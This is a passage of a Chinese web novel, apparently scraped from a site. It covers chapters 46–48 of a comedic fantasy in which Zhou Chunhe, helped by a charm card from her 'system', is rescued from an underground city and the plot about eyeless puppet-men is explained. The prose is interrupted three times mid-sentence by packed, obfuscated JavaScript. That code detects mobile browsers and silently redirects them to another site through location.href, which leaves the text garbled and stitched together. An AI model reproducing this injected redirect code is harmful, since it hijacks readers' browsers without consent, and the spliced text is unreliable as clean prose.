周春和边吃边感受着大家的热情,一边还得费脑子想到底吃什么,真真是快活无比。 大家争执了一番,实在是争执不下,便请周春和裁夺。这葡萄太甜了有点齁嗓子,周春和便要来一壶酒。 被周春和选中的那人仿佛得到了真龙天子,乐的喜笑颜开,慌忙折身出去拿了。其余没被选中的皆长吁短叹,恨不得以泪洗面。 周春和连忙安慰了大家一句:“大家都有份啊,大家都有份,不用着急。” 喝了一口送上来的酒,周春和往后一仰,忍不住仰天大笑道:“快哉快哉,此情此景让小女子想作诗一曲——采菊东篱下,怀民亦未寝,知之为知之,不知为不知啊!” 底下人连忙大声称赞:“好诗,真乃好诗啊。周姑娘果然无愧于诗仙称号!” 周春和得意的摆摆手:“低调,这还没有到我全盛时期的一半呢!想当年我和姐姐……”话到此处,周春和顿了顿,想到周夏莲,又忍不住叹了口气,“……唉,不提了。只是不知道姐姐现在有没有醒过来。” 自从周春和发现大家对自己百依百顺之后,立刻就让他们带自己出去。她心系周夏莲,想看看她的情况如何了,可是张奶奶却说这一片布置了一座大阵,这个溶洞也在阵中,这阵法独特,是为了防止有人逃跑的,所以溶洞不进不出。便是他们自己,也得乖乖等到阵法消失才能离开。 周春和一听立刻就有些着急:“那什么时候才能出去?” 张奶奶道:“这阵只能维持一个半时辰,现在已经子时了,还有不到半个时辰姑娘便可以出去了。” 周春和这才松了口气:“那我阿姐他们此刻身在何处?有没有危险?” “姑娘放心吧,我们是一个个取人性命的,姑娘你是第一个,还没有轮到其他人呢。其他洞内只是有人把守而已,并不会伤人性命。” 周春和听后这才彻底放心下来,她盘算了一下,等再过一个小时卡牌也还没有失效,所以现在要做的就是耐心的等着半个时辰过去,然后她就可以顺顺利利的让张奶奶她们带路去找周夏莲了。 玩了一会儿,周春和又想吃猪蹄了。于是张奶奶赶紧吩咐人去煮两个来。 在洞里逛了一会儿,周春和深觉无聊,忽然灵光一现,要拉着大家一起打牌。 她按照记忆用纸做成了一副简易的扑克牌,原本牌上的那些字母也全都用数字代替,她仔细的教给大家玩法和规则,等大家学的差不多了,便开始摩拳擦掌的玩起来。 前两局因为大家还都不是很熟悉,所以基本上都是周春和赢,但玩到后半段,大家熟练起来之后,周春和就很少赢了。 周春和一开始玩的兴致勃勃,越到后面越萎靡挫败。 终于不知道在输了第几把之后,她将牌往桌子上一洒,不愿意玩了。 正好猪蹄已经炖好了,周春和拿起一个边啃边思索接下来要干什么。 就在这时候,她偶然间抬头瞥了一眼,忽然发现眼前这个帮自己盛猪蹄的男人长得还怪好看,于是忍不住多看了两眼。张奶奶立刻发现了周春和的视线黏在了那青年身上,十分会来事儿的朝周春和笑道:“周姑娘,我们这儿还有个叫‘摸瞎子’的游戏,就是一个人蒙上眼睛捉其他人,只到把人全部捉住才算赢。不知周小姐想不想试一试?” 周春和一愣。 张奶奶笑眯眯的继续说:“一会儿周小姐来抓,我寻几个身强体壮的男子躲,可好不好?” 周春和立刻眼冒金光:“好好好,当然好!” 张奶奶哈哈大笑着下去安排了,范绍上来替周春和蒙眼。 因为范绍没有被选中,所以他的表情隐忍中还带着一丝不甘和嫉妒,怨怼里还带着一丝期盼和渴望。仿佛是那种亲眼见妻子逛窑子却无能为力的无能丈夫。 张奶奶很快带着一溜十六个男子过来,周春和一个个看过去,果然个顶个的年轻气盛,而且模样也都不错。 只是……周春和疑惑道:“张奶奶,你怎么也在里面?” 这怎么还夹带私货呢?再说了张奶奶你年纪这么大了,这时候也还要再进来掺和一脚吗?你不怕把自己的老腰闪了吗? 张奶奶老脸一红,有些羞赧:“……我担心一会儿姑娘摔倒,得在里面跟着才好呢。” 周春和:“?” 是担心我摔倒,还是担心我光爱别人了没爱你?怪不得刚刚你推荐玩这个游戏的时候,脸色看起来比我还期待,原来是在这里埋伏着呢。 周春和不得不感叹这【万人迷卡牌】的威力还真是大,男女老少都不放过,女老人更是乐在其中,连张奶奶都要喜迎第二春了。 不过周春和倒是没纠结,很快就自己戴好眼罩准备抓人。 大家受到卡牌的影响,争先恐后的想把腹肌和胸肌往周春和手边送,饶是张奶奶也不放过任何一个机会,靠着健朗的身子骨在人群里横冲直撞。周春和没一会儿就被那紧实有弹性的□□冲昏了头脑,咧着嘴傻笑着伸手抓人。 当然人是一个也抓不到的,但是腹肌胸肌甚至是老奶奶的抹额倒是一抓一个准的。 周春和沉迷在温柔乡里,整个人飘飘欲仙,那真是玩爽了,玩嗨了,玩的也不管自己被谁背叛了,也不在意这里是哪里了,更不管任务和系统了,玩的不知天地为何物,玩的原谅全世界了。 她被那紧绷绷的□□装来撞去,眼泪从嘴巴里流了出来。 就在这时候,她感觉到人群似乎忽然寂静了一瞬间,没等她反应过来,她迎面撞上了一个坚实的胸膛。 周春和伸手抓了抓那人胸口的位置,当即就反应过来不对劲。 在场玩游戏的除了她和张奶奶之外都没穿上衣,但她撞的这具身体显然穿了衣服,并且这副坚实的身板也不像是张奶奶,难道又有新人混了进来? 周春和站定之后,一脸期待的摘下眼罩,谁知看清来人之后,一下子愣在了原地。 原来她刚刚玩的太投入,不知道什么时候就站在了洞口处。此刻她正对着洞口,原本用竹篾做的两扇破门被人从外面一左一右踹开,逆着光,两个人的身形高大,一黑一白,严严实实当在门前。 一个是担忧过后的一脸温和诧异,一个是紧张后的面无表情。 是傅怀玉和谢斯年。 两个人一路紧赶慢赶的过来,路上一句话也没说,一步也不敢耽搁,生怕晚一步就错过了救下周春和最关键的时候。等两人来到门外的时候,那种焦急的情绪已经到达了顶峰——毕竟他们都明白周春和有多么的手无缚鸡之力,她不比周夏莲和裴瑾,起码这两人在遇到危险情况时还有自保之力,周春和是完完全全的手无寸铁。两个人虽然嘴上不说,但心里其实已经设想了无数可能出现的情况。 所以赶到门前时,谢斯年踹门的脚都有些不稳。 可两个人怎么也想不到破门被一脚踹开之后,迎接他们的会是这样一副场景——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576652|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周春和满面春风,蒙着眼罩傻笑着在空旷的溶洞内追赶一群裸着上半身的肌肉男。 而就在离大家不远的角落里,堆放着桌子和散落一地的酒杯、酒壶、碟子、玉碗,桌子上放着薄纱、各色各样的糕点、零嘴、纸牌……甚至还放了好几盘猪蹄。显然是已经玩过一轮了。 周春和吃了一惊,怔怔地摘下眼罩:“你们怎么来了?” 十六个裸男加一个玩的不亦乐乎的老太太还站在周春和身后,大家都是一副意犹未尽的模样。见到忽然来了两个陌生男人,又都满脸戒备和敌意,像是生怕这两人会抢走周春和。 傅怀玉咳了一声,抬手拢了拢自己的衣领,露出一段洁白如美玉的修长脖颈,笑道:“来的时候一直在担心姑娘有没有遇到危险,如今见姑娘好好的,我也就能放心了。” 周春和听着傅怀玉的温言软语,视线又忍不住跟着他的手移向他修长的脖颈,顿时忍不住咽了口唾沫,心不在焉的嘿嘿笑道:“放心好放心好,看见你的脖颈这么细腻洁白,我也想亲了……咳,我的意思是,看见你也没事,我就放心了。其实我刚刚一直在担心你的身体来着……” 傅怀玉以广袖挡住唇角,半抬一双柔情缱绻的眼眸,欲迎还拒,欲语还休,半遮半掩的朝周春和露出一个温柔似水的笑容。给周春和一个温柔乡,周春和果然又跌进去了,呆呆地看着傅怀玉,一时说不出话来。 谢斯年:“……” 谢斯年环顾一圈,表情似笑非笑:“打断一下你们的浓情蜜意,阿姐呢?” 一听见谢斯年开口,周春和本能的皱起眉头,但是听说谢斯年是在问周夏莲,于是也就不情不愿的认真起来:“张奶奶她们说阿姐被关在另一个洞内了,她们还说这个洞在一个阵法之内,洞内不进不出,不过既然你们能进来,那就说明阵法已经破了。走吧,我们去找阿姐。” 又扭头看向张奶奶:“那就劳烦你们带路了。” 那一行人还没被周春和抓够,见周春和要走,一时间纷纷露出难过不舍的表情。但奈何周春和都这么说了,他们也不好耽搁周春和的正事,便只好来为周春和带路。 过来带路的是刚刚和周春和玩抓人游戏的男人,这男子还未穿上衣裳,垒的整整齐齐的八块腹肌看着人血脉喷张,周春和已经忍不住偷偷瞥了好几次了。 谢斯年跟在两人身后,察觉到周春和看向男人下腹时那毫不掩饰的眼神,忍不住皮笑肉不笑道:“倒是忘了问了,不知道周小姐是怎么凭借着三寸不烂之舌让大家如此听你的话呢?游戏让玩便玩,路也让带便带的?” 嗯? 刚刚太过于得意忘形,并且周春和绝对想不到谢斯年和傅怀玉会在这个时候过来——毕竟刚刚张奶奶已经说了,其他人都被分散在不同地方,又有专人把守,怎么还会让谢斯年这厮轻易挣脱?所以她从没想过谢斯年会忽然出现。 谢斯年就算了,他有妖力,厉害点就厉害点,但这傅怀玉不是身体不适回客栈了吗?又是怎么找到她的? 周春和觉得最不可能的两个人反而就是最快找上她的,她全然没有防备,也就来不及提前收拾残局。 这下被两人撞见,她又该如何解释张奶奶他们现在的情况? 不对,现在谢斯年和傅怀玉是不是还不知道张奶奶他们是坏的?靠靠靠,那解释起来岂不是更难? 好在谢斯年似乎并没有打算深究,随口提了一句,见周春和老老实实收回视线开始为解释这一切而感到焦头烂额时,也就没再为难她。 虽然不知道为什么谢斯年高高举起又轻轻落下,但见他不再继续下去,这才忍不住松了口气。 殊不知她这口气其实是松早了,谢斯年的视线一直落在她身上,此刻正笑眯眯的观察着周春和的每一个表情,看似天真可亲,实则眸中沉沉的酝酿着不为人知的风暴。 47. 阴阳城 溶洞与溶洞之间的道路层层叠叠,像个迷宫似的让人眼花缭乱。在两个主要干道的交汇处放着一个石碑,上面刻着两个大字——阴城。 周春和瞧见之后,顿时明白了什么,她扭头看向谢斯年,谢斯年也同样露出了然的表情。 在第一次遇见无眼人的那条街道的尽头有个刻着“阳城”的石碑,那个时候周春和还没有多想,现在看到这个“阴城”,她顿时明白了这阴阳城是何意。原来地面之上被阳光照着的就叫阳城,深藏在地底下不为人知的便叫阴城。两个加起来,组成了完整的阴阳城。 阴城道路错综复杂,如果不是有人领着带路,那他们找过去估计得费很久的时间。 等找到周夏莲所在的地方,周春和第一个冲了进去,将人里里外外仔细检查了一番,见周夏莲没什么事情,这才重重的松了口气。 她上前给周夏莲松了绑,周夏莲顾不上自己被绑的通红的手腕,先着急的检查了一下周春和有没有受伤,见周春和也好端端的这才也松了口气:“我一直担心你……你身上只有我给你的那些符咒,我都不敢想若是用完了或者是遗失了……”她叹了口气,没继续说下去,只是喃喃的道,“没事就好,没事就好。见你没事我也就放心了……” 这番话勾起了周春和刚刚对谢斯年的恨意,她不着痕迹的偷偷回头瞪了谢斯年一眼,谢斯年却是依然平静的模样。 呸,死孩子。 周夏莲似乎依然不太放心,拽着周春和又看了一遍,小心的问:“刚刚真的没发生什么吗?你们怎么这么轻易就逃出来了?” 谢斯年嘴唇动了动,很快移开了视线。周春和在心里骂,但到底也没有把谢斯年刚刚做的那些事情说出去:“真的没事……姐姐,这件事的来龙去脉我一会儿再和你说,咱们现在先离开这个是非之地。” 周夏莲也反应过来:“好……阿瑾呢?” “咱们现在去找裴瑾哥哥,走吧阿姐,有人给我们带路。” 几个人找到裴瑾的时候,裴瑾已经醒了过来。周春和看着被绑住的裴瑾,摸着下巴心道,不愧是男主角,就连被抓都别有一番风味。裴瑾一身浅蓝色衣裳,身上有好几处地方都被血迹濡湿了,一向梳得一丝不苟的发丝也散下来,脸色苍白,显得凌乱又脆弱。 周夏莲满脸心疼的给裴瑾松了绑,裴瑾刚刚在幽梦居打斗的时候为保护周夏莲受了伤,如今胸前一大片血迹,旧的还没有干掉,新的血又涌了出来。看样子裴瑾伤的并不轻,也怪不得刚刚周夏莲在二楼惊叫。两个人温言软语互相倾述衷肠,见双方没有生命危险,这才都在心疼中又双双松了口气。 周春和算了算时间,离【万人迷卡牌】失效应该还剩下六个小时左右,她得趁着卡牌还有效果,抓紧时间在这六个小时之内把这一切了结。 既然有羊毛,那她势必要薅到极致才肯罢休。 如果没有人带路,他们一时半会儿的还真不好从这里面离开。 原来这座溶洞是在地下,城中人依着地势而建,溶洞与溶洞之间被挖出许多曲折迷离的地道,原本周春和以为这里只有关人的溶洞,但走下去才知道,原来这里不止溶洞——整个地下都被掏空了,阴阳城的居民竟然在地下复刻出一整个城。 这里不仅有和地上一模一样的房子,更有各种酒肆和铺子,房子里有人住着,周春和还在其中一见房子里见到了白天他们逗弄的小女孩。不过住在这里的人不算多,算起来也就十几户,和地上的城那热闹纷繁的景象完全不同。 这里因为是在地下,所以各处的蜡烛和油灯昼夜不息的燃着,靠着烛火将这座巨大的地下城照的亮如白昼。 连接地上和地下两个世界的是地上每家每户都有的井,周春和这才知道原来那井并不是打水吃的,而是供人上下往来的“电梯”。 带路人将他们领到最近的一口井下,教他们如何攀着绳子上去。 大家对地下城完全不熟悉,再加上身上的符咒已经消耗的差不多了,裴瑾身上还有伤,所以都想尽快回到客栈休息一下,然后再补充一些符纸。 领路人将他们带到之后就在周春和的吩咐下依依不舍的离开了,要不是周春和安慰他说自己一个时辰后来回来,让他在这里等着接自己,估计那人能泪洒当场。 回到客栈之后,周夏莲来不及询问这一切究竟是怎么回事,嘱咐周春和和谢斯年两句之后,先扶着失血过多的裴瑾回房包扎。 房间内只剩下周春和、傅怀玉和谢斯年。 三个人面面相觑,谢斯年先笑眯眯的开了口:“好了,现在没人了,我们可以好好的‘聊天’了。” 不知道为什么,他笑着说“聊天”的时候,周春和听出一丝咬牙切齿的味道。 谢斯年不说这个还好,一说这个,她顿时想起来谢斯年偷走自己符咒还丢下自己不管的事情,于是她立刻不爽的质问谢斯年:“聊天?聊天好啊,我倒要看看你还要怎么陷害我!说吧,这次又要干嘛?把我的符扔掉还是直接把我扔给那些坏蛋?” 谢斯年微笑的表情僵了僵,好半晌他才移开视线:“我那是事出有因。” 傅怀玉听着两个的对话,脸上带着诧异的微笑:“听二位的口吻,刚刚似乎经历了不愉快的事情?能否与我说说?” 周春和哼了一声,不愿看见谢斯年的脸:“没什么好说的。” 谢斯年沉默的看着周春和,一时间也没说话。 傅怀玉见状挑了挑眉,不动声色的站在周春和前面,挡住了谢斯年:“姑娘奔波一晚上,想必也累了,房间内有你最爱吃的梅子饼,过来吃两口吧。” 周春和刚刚吃过很多吃的了,其实已经不太饿,但一听傅怀玉提到了她最爱的梅子饼,周春和立刻不争气的咽了咽口水,飘忽的视线忍不住往那边看了好几次。 好吧,她确实割舍不下她最爱吃的梅子饼。 傅怀玉笑盈盈的看着她,见她不动,又温言软语的劝道:“尝尝吧,刚刚你一个人独自呆了这么久,想必也受到了惊吓。你喜欢吃这些东西,吃到喜欢吃的心情也会慢慢变好。来吃一点,可以平复一下心情。” 周春和听着傅怀玉这番话,又想到了刚开始她一个人被锁在溶洞之中,那范绍朝她走过来要剜去她的眼睛时,那种后怕的感觉。 虽然现在一切都已经过去,周春和也不是那种斤斤计较的人,但是她毕竟是个没有符咒、没有任何东西可以傍身的小女孩,所以还是会为了那一刻而感到后怕。 如今傅怀玉的轻声细语如同徐徐清风般拂过她无比沧桑的心田,让她在刹那间感受到了如尼亚加拉瀑布般的温暖。 周春和眨了眨眼,憋住差点涌出来的泪,接过傅怀玉递来的梅子饼咬了一口,傅怀玉露出一个安抚的笑:“看着周姑娘这样,就是我也觉得心疼。可惜我那时身体犯了旧疾,若是我可以跟着一起前去,不论如何也要护着姑娘周全。” 周春和听他这么说,当即就想扑到他怀里大哭一场,但梅子饼太好吃了,她光顾着往嘴里塞,实在是没空煽情。 谢斯年:“……” 他面无表情的看向傅怀玉,眼底的情绪几乎已经不能用阴沉来形容。 谁料傅怀玉恍若未闻,依然专注的看着周春和。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576653|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吃了几个之后,周春和脸上重新绽放出笑容。食物确实能抚平她心中一切负面情绪。 傅怀玉帮她倒了杯水,耐心的等她喝完,然后拿出一只手帕细心的帮她试干净唇边的水渍。 周春和享受着傅怀玉恰到好处的轻抚,眯着眼睛慢吞吞的说:“谢谢你啊,傅怀玉。” 傅怀玉轻笑道:“不必客气。” 吃饱喝足,周春和通体舒畅,也就有了开口说话的欲望。她扭头问傅怀玉:“傅怀玉,你不是身体不好要休息吗?后来又是怎么和……咳,一起找到我的?” 傅怀玉笑道:“我一早就醒了过来,那时已经时至深夜,我见你们都还没有回来,便猜到你们一定遇上了什么事情,所以便独身一人出来寻找你们。”顿了顿,傅怀玉继续说,“至于是如何找到你们的……姑娘有所不知,我手中的这个灵司南不仅可以寻得补天石,也可以找人找物。我以姑娘的旧物置于灵司南上,它便带着我顺利找到了姑娘的位置。” 周春和点了点头,但点完又有些不解,灵司南能找出她的方位不假,但她被关的地方是地下,并且那个位置没有井,傅怀玉是怎么下来的?周春和这么想着,便这么问了出来,最后问:“难不成你猜到了这一切,所以找了附近的井下来的?” 傅怀玉的视线似乎移开了,但是很快就重新转回来,脸上带着若无其事的自然笑容:“嗯。”顿了顿,傅怀玉不着痕迹的换了话题,“我从客栈出来的时候,城中竟然一个人也没有,像是全部人间蒸发了一样。那个时候我便觉得蹊跷,后来遇上了谢公子,与他一对,便知道是这城中人捣的鬼了。” 周春和没多想,诚心实意的夸赞道:“我就知道你果然聪明。那你又是怎么遇上谢斯年的?” 傅怀玉似乎思索了两秒,然后笑道:“我一下去就遇见了谢公子,他并没有被关着,而是在外面似乎在寻找什么的样子,于是我便和他一起去找你了。” 这下轮到周春和疑惑了,她扭头看向谢斯年,一开始想要亲手打死谢斯年的心情早已被好奇心压下:“谢斯年,我记得当时我晕过去了,醒来就在那溶洞里被人绑了起来。那你又是如何挣脱的?” 谢斯年怔了怔,似乎没想到周春和还会主动和他说话。 少女刚刚对着他的时候,白眼都快翻到了天上,大有一种绝对不与他说话,一定要和他死磕到底的势头。可不过吃了几块梅子饼喝了口茶水,她的火气就消了一大半。 他的表情还算平静,但是脑子里却忍不住想起白天时她和自己说有什么不开心的吃点东西就好了……谢斯年的眉头动了动,眼神里终于露出一点似笑非笑的意思来。他想,看来周春和说的确实是实话,有什么不开心的,吃点喜欢吃的就好了。 这些思绪不过一闪而过,谢斯年很快回过神,他移开视线,靠在床边,双手抱臂,轻飘飘的回答:“我从头到尾都醒着,假装晕过去只不过是想看看他们的真实目的而已,等到了溶洞之中,我便趁他们不备挣脱了桎梏。然后出来就遇到了这位……”谢斯年似乎笑了一声,意味不明,“傅公子。” 谢斯年能挣脱那链子这个周春和倒是不惊讶,她惊讶的是谢斯年发现不对的时间节点竟然这么早:“等等,你是……你是怎么发现不对劲的?” 顿了顿,周春和反应过来,大怒道:“你发现了也不和我说一声?!这到底是怎么一回事?” 谢斯年移开视线,很久之后,他才闷闷地说:“你还记得当初在那个小巷子里袭击我们的无眼人么?其实他并不是真的想伤害我们,而是为了提醒我们这整座城都是为猎妖人设下的陷阱。” 48. 阴阳城 周春和听见这话怔住了,似乎完全没想到事情的发展方向是这样的。 傅怀玉似乎也有些诧异,他并不了解内情,只不过他虽然奇怪,但是并没有开口说话,只是安静的听着谢斯年解释。 谢斯年继续说:“当时那个无眼人来打我们的时候,曾往我袖子里塞了一样东西。”说着谢斯年将手掌摊开在众人面前,他手心里赫然放着两粒种子大小的黑色硬块。 周春和先凑上去仔细瞧了瞧,又拿起来放在鼻尖下面嗅了嗅,奇道:“茶叶?” 谢斯年点点头:“没错,一开始我并没有在意,还以为只是无眼人不知道从哪里蹭到了,然后又恰好掉在了我身上。可是后来去里正家吃饭时,他端给我们一杯茶。” “不错,那茶我还喝了,味道不错。” “纠正一下,是你们所有人都喝了。我见到那茶,便想起来这粒茶叶,当时隐约觉得不对劲,便假装喝茶,实则偷偷将茶全部倒掉了。后来趁大家没有注意,我仔细观察过那茶叶,竟然和里正给我们端上来的一模一样。这个时候我便意识到了什么,你们还记得在白庄时,那镇纸怪是如何将我们引入幻境的吗?” 周春和悚然一惊,顿时醍醐灌顶:“是泊烟香和银烛茶!” “没错。” 但周春和觉得似乎哪里不对劲:“可这茶不是银烛茶。” 她已经在银烛茶上吃过一次亏了,如果里正给她的茶是银烛茶,那么她不可能不发现。 “对,所以你们也没有进入幻境,而是陷入了沉睡。泊烟香配合着这个茶会让人神不知鬼不觉的进入昏睡,只不过发作时间会稍有延迟。” 周春和顿时恍然大悟,怪不得在幽梦居被无眼人包围时,她最后会忽然晕过去,敢情又是栽在了茶和香上。 顿了顿,谢斯年继续说:“直到第二次进入幽梦居之前,我都没有相通里正一家和无眼人究竟有什么关联,但周春和无意间说出的那句话——‘他们的眼睛都是被后来剜去的’,我忽然意识到了两者之间的联系了。我曾看过一本古籍,里面记录了许多远古的符咒。其中有一个就是和眼睛有关,那就是女娲时期流传下来的一个符咒,据说是创世神手下的人制造出来的。那符咒很凶险,是把在人活着的时候剜去双眼,将人然后炼成无魂人。据说创世神就曾炼出一大批无魂人供自己使用。创世神曾经说过,人的灵力魂力凝结在双眼,所以剜去双眼一是可以让这人不再有抵抗之力,二是还可以从眼睛上提取这人的灵力。当时幽梦居的无眼人的症状几乎和古籍记载的一模一样——畏惧日光,不管哪里受伤或断裂,都可以自主接上,且感觉不到任何疼痛,会一直战斗到挫骨扬灰为止;白天尚有一丝理智,到了夜晚便像是傀儡一样没有任何意识,只会听从主人的指令。你还记得你曾说为什么那些无眼人在幽梦居忽然变得很有凶性吗?那是因为夜晚完全激发了他们的本性。而那个过来提醒我们的无眼人,想必是刚被炼成不久,再加上又是在白天,所以尚存一丝理智。他知道我们是猎妖人,也知道我们必定也会难逃被算计的命运,所以想来提醒我们。只是那个时候我们以为他是怪物,并不曾了解他的深意。” 周春和听完愣了很久,最后想到了什么,摇了摇头,语气有些艰涩:“怪不得……怪不得第一个无眼人是在那样昏暗的地方出现,他……他明明畏惧日光,却还要冒着风险来提醒我们,可我们、可我们却……” 傅怀玉从这短短几句话中听明白了来龙去脉,他看着满心愧疚的周春和,忍不住叹了口气,走上前轻轻道:“别多想,无魂人被剥夺了感情,不知黑夜与白昼,每日只知浑浑噩噩的活着,可等白天能清醒的那些微时间,他们又会一直想着刚刚自己做过的事、杀过的同胞。可他们想死都死不了——除非被挫骨扬灰,否则他们连求死都做不到。这样日复一日的生活他们却被牢牢困在里面,对他们来说,死亡才是最好的解脱。” 傅怀玉的这番话很轻,但是包含着暖意,周春和那股悲伤的情绪也逐渐缓解了。但与此同时,她后知后觉冒出一个疑问——傅怀玉怎么知道这一切的? 没等她细想,谢斯年已经似笑非笑的靠在墙边问出了口:“傅公子似乎对这些东西很了解,但据我所知,这可不是随便什么猎妖人都能见到的书籍啊。” 就连谢斯年也是沾了巫山谷的光才得以见到这些传世书籍。 傅怀玉闻言并没有任何惊异的神色,只是淡淡道:“只是恰好祖父爱收藏一些孤本残本,所以我对这些略有了解。” 谢斯年拖着调子“哦”了一声,语气里似乎讥诮:“想不到傅公子还如此博览群书,若不是听了傅公子解释,我还真以为傅公子也和这城中居民有一腿了。” 傅怀玉温柔的笑起来,抬起广袖遮住自己的笑颜,引得周春和连连瞩目:“谢公子还是如此爱开玩笑。” 谢斯年:“……”他移开视线,眼不见心不烦。 周春和自顾自的思索起来,最后总算有了一个清晰的头绪:“所以整件事情是这样的,那些无眼——无魂人是之前路过这边的猎妖人,他们被城中居民设计陷害,然后被制成了无魂人。城中居民自导自演了一出香铺招鬼事件,就是为了吸引猎妖人去那地势最凹、最容易招那些不干不净的东西去的幽香居,等猎妖人去了幽香居,就会被无眼人袭击,假如遇到了那些厉害的猎妖人也不怕,因为城中人早已经做了二手准备,那就是泊烟香和那茶叶,即便是没有被无眼人打晕过去,也会因为香而晕过去。这时候张奶奶那些人就会出马,把人关到地下他们真正生活的地方,然后剜去双眼,炼成无魂人。于是这样就会有源源不断的无魂人,即便是每次会损失一些,后面又会有源源不断的无魂人补充上,是以那天晚上我们才感觉无魂人来之不尽杀之不竭……” 傅怀玉闻言微微点头,浅声道:“怪不得城中似乎没人居住,而且又如此残破也不曾修缮,原来他们真正居住的地方是地下,地上不过是他们演戏骗人的把戏,自然没必要做的尽善尽美。” 周春和紧随其后:“怪不得那张奶奶一直留我们吃饭,原来不是因为好客,而是因为夜晚那些无魂人的杀伤力才强,她怕我们白天进去发现什么,所以才一直拖着我们。” 这下所有的疑问几乎的有了答案,原来他们遇到的一切的一切都是城中人互相配合着演的一场戏,就是为了骗他们这些观众进来送命的。 等等……!这时候,周春和忽然想到了什么,猛然抬头看向谢斯年,表情有点后知后觉的味道:“……所以你拿走我的符咒,其实并不是想害死我?” 根据前面的推断可知,无魂人并不是想要他们的性命——毕竟无魂人必须得是活着的人才能炼化,所以无魂人的目的在于活捉他们。但如果他们抵死不从、越来越激烈的反抗呢?无魂人完不成任务,多半是会下手越来越重,所以不如早点被打晕或者是被茶迷晕,反正早点晕过去就对了。这样才会避免被无魂人打残的风险,谢斯年拿走周春和所有的符纸,应该也是在没法告诉周春和实情的情况下,让她早点束手就擒以免受到更大伤害的最好方法了。 ——而周春和以为的他是要杀掉自己顺便去救周夏莲……谢斯年知道周夏莲不会死,估计那个时候谢斯年也仅仅只是刚好走到了楼梯口而已,只是她那个时候误会了,还以为谢斯年忘恩负义呢。那个谢斯年并不能直接解释,要不然他的伪装就全部白费了,张奶奶一定一直在监视着幽梦居,若谢斯年表露出一点他已经猜到来龙去脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576654|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样,估计张奶奶就会为了守住秘密让他们所有人葬身在这里……这么看来,似乎还是她误会了谢斯年。 谢斯年嘴角动了动,别开了脸。 周春和一看就知道他这是不好意思了,和谢斯年在一起了这么久,她对谢斯年的性格也有点了解,知道他一向不善于应对别人释放的善意。只是想不到谢斯年一向脸皮厚的没边,这时候竟然还会不好意思,但她偏要逗他,笑道:“哎呦,怎么还不好意思了?让我看看,哎呦呦,怎么还脸红了。” 谢斯年脸没红,只不过是周春和为了逗他故意说的。 周春和乐不可支,几乎要抚掌大笑。很久之后,谢斯年依然避开她的视线,只是露出一个不冷不热的笑,语气听着很平静:“……反正也只是顺手。” 周春和顿时笑得更灿烂了:“顺手?好吧,你说是就是了,毕竟你一直口是心非,想要从你嘴里敲出一句实话可难了。我这次就信你是顺手,不是专门为了让我少受伤害而拿走我的符,行了吧?” 谢斯年没说话,但耳廓似乎红了点。 停了停,周春和想到了什么,忽然又问:“那你怎么保证你推测的这一切都是真的?万一……我是说万一有另外一种可能,那些无魂人真的是想要置我于死地呢?我没有那些符纸,岂不是危在旦夕,难逃一劫?再说了,”她停顿了一下,想到了当初里正要剜她眼睛时的场景,“万一你到时候没有挣脱得了,没有和傅怀玉及时的过来救我呢?那我岂不是要被炼成无魂人了?” 按照谢斯年和傅怀玉来的速度,如若不是周春和用了系统给的【万人迷卡牌】,那么她现在是人是肉就真不好说了。 谢斯年移开了视线,忽然没头没脑的说:“那辟邪符送你了,不用还给我。” 周春和正想说“谁又说辟邪符的事情了”,但是这时候大脑忽然灵光一现,一个猜测从她脑子里浮现出来,她讶然地看向谢斯年,目光里似乎有些难以置信。 ——难道这厮把自己保命的东西给他了?之前她一直见谢斯年带着这个辟邪符,从来不离手,就隐约猜到这是个宝贝,但她没有细想过这究竟是什么东西,如今见谢斯年这个模样,难道这还是什么传世宝物不曾?他把这宝物给了周春和,所以就确定周春和不会出事,这才放心的拿走了她的符纸……当时她还以为这是谢斯年在挑衅她…… 谢斯年露出一个讥诮的笑容道:“别露出这种表情,这也不是什么贵重东西,不过能避免一部分伤害而已。” 谢斯年说话从来不会夸大,只会往小了说,所以周春和真的怀疑这个辟邪符能避免的只是“一小部分伤害”,不过她没有说,因为她心里涌上一股说不清道不明地情绪。 盯着谢斯年看了两秒,周春和忽然无比郑重的道歉:“对不起,其实那个时候我误会你了,我不知道你是为了引蛇出洞……虽然也是因为你那个时候也没告诉我。”而且还在心里偷偷骂了你,骂的昏天黑地,骂的凄凄惨惨戚戚,骂的不知天地为何物。 但周春和意料中的误会解开之后大家一起包饺子的团员景象并没有出现,因为傅怀玉见两人即将握手言和,忽然不动声色的上前一步,笑眯眯的把手中的梅子饼递给周春和,同时柔声道:“既然误会解开了就好了,刚刚我还一直担心你……看到你没事,我也能安心了。这梅子饼还有几片,姑娘还要吃吗?” 